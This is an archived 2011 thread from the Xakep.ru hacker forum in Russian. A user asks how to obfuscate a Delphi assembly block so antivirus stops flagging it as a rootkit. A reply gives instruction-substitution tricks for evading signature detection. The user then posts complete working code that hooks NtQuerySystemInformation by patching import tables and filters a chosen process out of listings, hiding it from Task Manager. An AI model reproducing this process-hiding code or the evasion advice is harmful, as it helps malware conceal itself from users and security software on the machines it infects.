Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

ASM-обфускация. Как?

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Прочее] >> ASM-обфускация. Как?
Имя
Сообщение << Старые топики   Новые топики >>
ASM-обфускация. Как? - 2011-02-02 03:40:12.710000   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
Проблема проста: у меня в программе (точнее библиотеке) на Delphi есть солидная ассемберная вставка, нужная, осуществляющая работу с Native API вроде как, антивирус ругается естественно со словами "аа,руткит". Логика подсказывает, что попросту эта самая вставка узнается в лицо и потому антивирус лезет. Инструкции ассемблера вроде как могут варьироваться. Так вот, как можно asm-кусок поменять/обфусцировать/обработать , чтобы проблема исчезла? Знания машинных кодов крайне скудны, потому руками это сделать пока не выходит. Какие хотя бы есть вариации сходных команд?
Post #: 1
RE: ASM-обфускация. Как? - 2011-02-02 07:57:11.616666   
Ltonid

Сообщений: 4970
Оценки: 740
Присоединился: 2008-12-29 13:21:56.166666
Ну стоит выложишь код, чтобы помощь была полноценной.
Также если вставка осуществляет действия которые мог бы осуществлять руткит, то обычная обфускация может и не помочь.
Если же это палят просто по сигнатуре то можно и пообфусцировать. На стандартные примеры типа:
mov eax, ebx | push ebx ; pop eax | xor eax,eax ; add eax,ebx и др
анлогично и с другими командами можно.
Post #: 2
RE: ASM-обфускация. Как? - 2011-02-02 21:17:44.536666   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
Старый добрый пример про скрытие процесса из диспетчера задач. Хотел перебить под что-нить полезное.
_IMAGE_IMPORT_DESCRIPTOR = packed record case Integer of 0:( Characteristics: DWORD); 1:( OriginalFirstThunk:DWORD; TimeDateStamp:DWORD; ForwarderChain: DWORD; Name: DWORD; FirstThunk: DWORD); end; IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR; PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR; PFARPROC=^FARPROC; procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule); var ulSize: ULONG; pImportDesc: PIMAGE_IMPORT_DESCRIPTOR; pszModName: PChar; pThunk: PDWORD; ppfn:PFARPROC; ffound: LongBool; written: DWORD; begin pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); if pImportDesc = nil then exit; while pImportDesc.Name&lt;&gt;0 do begin pszModName := PChar(hmodCaller + pImportDesc.Name); if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break; Inc(pImportDesc); end; if (pImportDesc.Name = 0) then exit; pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk); while pThunk^&lt;&gt;0 do begin ppfn := PFARPROC(pThunk); fFound := (ppfn^ = pfnCurrent); if (fFound) then begin VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written); WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written); exit; end; Inc(pThunk); end; end; var addr_NtQuerySystemInformation: Pointer; mypid: DWORD; fname: PCHAR; mapaddr: PDWORD; hideOnlyTaskMan: PBOOL; function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer; SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall; label onceagain, getnextpidstruct, quit, fillzero; asm push ReturnLength push SystemInformationLength push SystemInformation push dword ptr SystemInformationClass call dword ptr [addr_NtQuerySystemInformation] or eax,eax jl quit cmp SystemInformationClass, SystemProcessesAndThreadsInformation jne quit onceagain: mov esi, SystemInformation getnextpidstruct: mov ebx, esi cmp dword ptr [esi],0 je quit add esi, [esi] mov ecx, [esi+44h] cmp ecx, mypid jne getnextpidstruct mov edx, [esi] test edx, edx je fillzero add [ebx], edx jmp onceagain fillzero: and [ebx], edx jmp onceagain quit: mov Result, eax end; procedure InterceptFunctions; var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); if hSnapshot=INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32,sizeof(MODULEENTRY32)); me32.dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot,me32); repeat ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule); until not Module32Next(hSnapShot,me32); finally CloseHandle(hSnapShot); end; end; procedure UninterceptFunctions; var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); if hSnapshot=INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32,sizeof(MODULEENTRY32)); me32.dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot,me32); repeat ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule); until not Module32Next(hSnapShot,me32); finally CloseHandle(hSnapShot); end; end; Целиком он тут. Мне подумалось, что дело именно в ассемблерной вставке и сигнатуре, но, конечно, мб это и не так.
Post #: 3
Страниц:  [1]
Все форумы >> [Прочее] >> ASM-обфускация. Как?







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.